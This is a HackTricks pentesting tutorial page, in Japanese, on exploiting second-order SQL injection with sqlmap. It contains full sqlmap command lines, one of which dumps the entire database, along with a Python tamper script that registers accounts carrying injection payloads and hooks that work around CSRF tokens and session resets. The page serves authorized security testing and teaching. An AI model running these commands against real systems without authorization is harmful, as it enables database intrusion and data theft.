Second Order Injection with SQLMap
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。
SQLMap は Second Order SQLi を exploit できます。
次を指定する必要があります:
- sqlinjection payload が保存される request
- payload が 実行される request
SQL injection payload が保存される request は、sqlmap の他の injection と同様に指定します。sqlmap が injection の出力/実行結果を読み取る request は、--second-url で指定するか、ファイルから完全な request を指定する必要がある場合は --second-req で指定できます。
Simple second order example:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
いくつかのケースでは、これだけでは不十分です。というのも、payload を送信して別のページにアクセスすること以外に、他の操作を実行する必要があるからです。
これが必要な場合は、sqlmap tamper を使えます。たとえば、次の script は sqlmap payload を email として使用して 新しい user を register し、その後 logout します。
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
SQLMap tamper は、payload を使った injection の試行を開始する前に必ず実行され、payload を返す必要があります。この場合、payload 自体は重要ではなく、いくつかの request を送ることが重要なので、payload は変更されません。
そのため、何らかの理由で second order SQL injection を exploit するために、より複雑な flow が必要な場合、たとえば次のような手順です:
- “email” フィールド内に SQLi payload を入れて account を作成する
- Logout
- その account で Login する (login.txt)
- SQL injection を実行するための request を送る (second.txt)
この sqlmap line が役立ちます:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
実際の second-order フローで便利な switches
Second-order の自動化は通常、payload の保存リクエストは成功するのに、実行リクエストがノイジーだったり、stateful だったり、保護されていたりするため失敗します。そのような場合は、payload を増やすよりも次の flags のほうが役立つことが多いです:
sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
--csrf-token,--csrf-url,--csrf-method: ストアまたはトリガー request が、各試行ごとに新しい anti-CSRF token を必要とする場合に有用。--live-cookies: 各 request の前に cookies を再読み込みする。browser/Burp macro がバックグラウンドで session state を更新している場合に有用。--safe-reqと--safe-freq: アプリケーションが、数回の失敗した probe の後にログアウトさせたり session を無効化したりする場合でも、workflow を維持する。--string,--not-string,--regexp,--code,--text-only: second-order response に banners、ads、timestamps、または diff を不安定にする user-generated junk が含まれる場合に有用。
When --tamper is not enough
tamper.py は、payload を登録し、ログアウトし、再度ログインして、execution を trigger する ための最も簡単な方法であり続ける。とはいえ、現代の target では、ロジックの一部を request/response hooks に移すほうがよりきれいな場合が多い。
--preprocess: 送信前に完全な HTTP request を変更する。second-order flow に追加の nonce、追加の parameter、または header normalization が必要な場合に有用。--postprocess: sqlmap が比較する前に HTTP response を整える。second-order sink が dynamic HTML に包まれていて、安定しているのが小さな fragment だけの場合に有用。
Example request/response hooks:
#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code
Important limitations
--second-reqが 2 回目のリクエスト内の*プレースホルダーに同じ payload を再送すると 想定しないでください。トリガー request にも injected value(またはその派生値)が必要な場合は、通常、カスタムtamper、--preprocess、またはローカル proxy が必要です。- 2 回目の request で
--evalに依存しないでください。公式の usage では--evalは primary request flow 用として文書化されています。2 回目の request でも試行ごとの mutation が必要なら、代わりに helper scripts の中で処理してください。
この pattern は、特に payload が次のような場所に保存されている場合に有用です。
- 後で query される filenames や image metadata
- 後で admin panels によって消費される registration/profile fields
- server-side に保存され、後で再生される sorting/filtering preferences
- preview、export、または moderation action の後にのみ実行される workflow state
References
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。


